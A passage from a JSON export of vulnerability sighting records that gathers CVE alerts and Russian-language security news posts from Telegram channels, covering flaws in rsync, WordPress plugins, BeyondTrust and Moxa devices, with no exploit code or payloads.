CVE-2024-12085\n\ud83d\udd39 Description: A flaw was found in the rsync daemon which could be triggered when rsync compares file checksums. This flaw allows an attacker to manipulate the checksum length (s2length) to cause a comparison between a checksum and uninitialized memory and leak one byte of uninitialized stack data at a time.\n\ud83d\udccf Published: 2025-01-14T17:37:16.036Z\n\ud83d\udccf Modified: 2025-01-14T17:37:16.036Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12085\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330539", "creation_timestamp": "2025-01-14T18:09:55.000000Z"}, {"uuid": "ee14cc1d-623d-4696-9ae4-4e5e35848a8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12491", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/933", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12491\n\ud83d\udd39 Description: The SimplyRETS Real Estate IDX plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'sr_search_form' shortcode in all versions up to, and including, 2.11.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-09T11:11:02.963Z\n\ud83d\udccf Modified: 2025-01-09T11:11:02.963Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/aa5c2d05-f6cb-4f97-b174-653ad3577b02?source=cve\n2. https://wordpress.org/plugins/simply-rets/", "creation_timestamp": "2025-01-09T12:15:52.000000Z"}, {"uuid": "4458dfdc-1430-4aa8-bf08-d911cb6c250f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12616", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/932", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12616\n\ud83d\udd39 Description: The Bitly's WordPress Plugin plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several AJAX actions in all versions up to, and including, 2.7.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update and retrieve plugin settings.\n\ud83d\udccf Published: 2025-01-09T11:11:03.339Z\n\ud83d\udccf Modified: 2025-01-09T11:11:03.339Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b1312c34-45c6-41e5-b6fc-a45ac2c8a0ca?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-bitly/trunk/includes/class-wp-bitly-auth.php#L115", "creation_timestamp": "2025-01-09T12:15:46.000000Z"}, {"uuid": "6ac3a386-25f6-45e0-ac42-a8f2b41edfdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12339", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4790", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12339\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Digihood HTML Sitemap plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018channel' parameter in all versions up to, and including, 3.1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-02-19T07:32:10.616Z\n\ud83d\udccf Modified: 2025-02-19T07:32:10.616Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/862f8743-5c8c-45ee-a2eb-9ae12c2800ca?source=cve\n2. https://plugins.trac.wordpress.org/browser/wedesin-html-sitemap/trunk/plugin-framework/Functions/Logging/html.php#L36\n3. https://plugins.trac.wordpress.org/browser/wedesin-html-sitemap/trunk/plugin-framework/Functions/Logging/html.php#L64", "creation_timestamp": "2025-02-19T08:41:10.000000Z"}, {"uuid": "0b252c58-8829-41d3-978c-8fb33565a1f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1245", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/33", "content": "\ud83d\udccc CVE ID: GHSA-7r95-6mr9-6f86\n\ud83d\udd39 Summary: No summary available.\n\ud83d\udd17 More Info: https://nvd.nist.gov/vuln/detail/CVE-2024-1245", "creation_timestamp": "2025-01-05T01:28:46.000000Z"}, {"uuid": "e7d0a3a3-a131-4bb1-a782-0d2b5dab087a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://t.me/itsec_news/5130", "content": "\u200b\u26a1\ufe0f\u041e\u0434\u0438\u043d API-\u043a\u043b\u044e\u0447 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043a\u043b\u044e\u0447\u043e\u043c \u043a \u043a\u0430\u0437\u043d\u0435 \u0421\u0428\u0410\n\n\ud83d\udcac \u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u043e \u0432\u0442\u043e\u0440\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b BeyondTrust Privileged Remote Access (PRA) \u0438 Remote Support (RS), \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 KEV. \u042d\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u043d\u0430 \u0444\u043e\u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\nCVE-2024-12686 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7.2) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0445\u0430\u043a\u0435\u0440\u0443 \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430. \u0412 CISA \u0443\u0442\u043e\u0447\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0443 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 CVE-2024-12686 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u043e \u0441\u043f\u0443\u0441\u0442\u044f \u043c\u0435\u0441\u044f\u0446 \u043f\u043e\u0441\u043b\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0434\u0440\u0443\u0433\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 \u2014 CVE-2024-12356 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\nBeyondTrust \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u043e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0438\u0431\u0435\u0440\u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430, \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0435\u0434\u0448\u0435\u0433\u043e \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2024 \u0433\u043e\u0434\u0430. \u0422\u043e\u0433\u0434\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 API-\u043a\u043b\u044e\u0447 Remote Support \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439. \u0425\u043e\u0442\u044f \u043a\u043b\u044e\u0447 \u0431\u044b\u043b \u043e\u0442\u043e\u0437\u0432\u0430\u043d, \u043e\u0431\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0432\u044b\u044f\u0441\u043d\u0435\u043d\u044b. \u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0443\u0433\u0440\u043e\u0437\u044b \u0441\u0442\u0430\u043b\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u0430\u043a \u043d\u0443\u043b\u0435\u0432\u044b\u0445 \u0434\u043d\u0435\u0439.\n\n\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u044f\u043d\u0432\u0430\u0440\u044f \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0421\u0428\u0410 \u0437\u0430\u044f\u0432\u0438\u043b\u043e, \u0447\u0442\u043e \u0441\u0435\u0442\u044c \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430 \u0431\u044b\u043b\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 \u0432\u044b\u0448\u0435\u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0439 API-\u043a\u043b\u044e\u0447. \u041a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0443 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442 \u0441 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 Silk Typhoon (Hafnium). \u0421\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0446\u0435\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441\u0442\u0430\u043b\u0438 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u0437\u0430 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u043c\u0438 (OFAC), \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u041a\u043e\u043c\u0438\u0442\u0435\u0442 \u043f\u043e \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0446\u0438\u044f\u043c \u0421\u0428\u0410 (CFIUS).\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-15T10:53:21.000000Z"}, {"uuid": "b56e3c79-2d73-4948-b739-70dc08afda9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1220", "type": "seen", "source": "https://t.me/itsec_news/4183", "content": "\u200b\u26a1\ufe0f\u041c\u043e\u0445\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-1220, \u0447\u0440\u0435\u0432\u0430\u0442\u0443\u044e \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430\n\n\ud83d\udcac\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Moxa \u043f\u043e\u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u0438\u043b\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 Positive Technologies \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u0445 \u043b\u0438\u043d\u0435\u0439\u043a\u0438 NPort. \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a CVE-2024-1220 , \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 8,2 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u041f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 NPort W2150a \u0438 W2250a \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432, \u0441\u0447\u0435\u0442\u0447\u0438\u043a\u043e\u0432 \u0438 \u0434\u0430\u0442\u0447\u0438\u043a\u043e\u0432 \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u043f\u043e Wi-Fi. \u0422\u0430\u043a\u0438\u0435 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0435 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u043c \u043d\u0430 \u0434\u0432\u0438\u0436\u0443\u0449\u0438\u0445\u0441\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u0445 \u0438\u043b\u0438 \u0432 \u0430\u0433\u0440\u0435\u0441\u0441\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445.\n\n\u041a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u0438\u043b \u0412\u043b\u0430\u0434\u0438\u043c\u0438\u0440 \u0420\u0430\u0437\u043e\u0432, \u044d\u043a\u0441\u043f\u0435\u0440\u0442 \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 Positive Technologies, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0432\u0441\u0435\u0433\u043e \u0437\u0430 \u043e\u0434\u0438\u043d \u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c Moxa. \u0414\u0430\u043b\u0435\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u0431\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0435 \u043a \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043d\u0430\u0440\u0443\u0448\u0430\u044f \u0448\u0442\u0430\u0442\u043d\u043e\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432.\n\n\u041f\u043e\u0441\u043b\u0435 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0432\u0435\u043d\u0434\u043e\u0440\u0430 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Moxa \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0435\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u043c \u041f\u041e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432\u0435\u0440\u0441\u0438\u0438 2.3. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0421\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043c\u0435\u0436\u0434\u0443 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0430\u043c\u0438 Positive Technologies \u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Moxa \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0433\u043e\u0434. \u0412 2019 \u0433\u043e\u0434\u0443 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 PT \u0431\u044b\u043b\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b \u0431\u043e\u043b\u0435\u0435 \u0434\u0435\u0441\u044f\u0442\u043a\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 Ethernet-\u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0432\u0435\u043d\u0434\u043e\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u0441\u0435\u0442\u0435\u0432\u043e\u0435 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0410\u0421\u0423 \u0422\u041f.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-03-11T17:14:20.000000Z"}, {"uuid": "1f4a53ec-8551-4757-b36f-83b60aabaa0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12634", "type": "seen", "source": "Telegram/7iNqCIkzDzXUmqJXXKHnxofcS7eFi5qd7Q8vhuvvvbw4uQ6x", "content": "", "creation_timestamp": "2025-03-08T04:34:56.000000Z"}, {"uuid": "5c68fd89-14bc-455d-9c30-9ccc73074a09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://t.me/itsec_news/5029", "content": "\u200b\u26a1\ufe0f\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 BeyondTrust: CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445\n\n\ud83d\udcac \u0410\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u043e\u0435 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (CISA) \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u043e \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (KEV) \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 BeyondTrust Privileged Remote Access (PRA) \u0438 Remote Support (RS). \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441 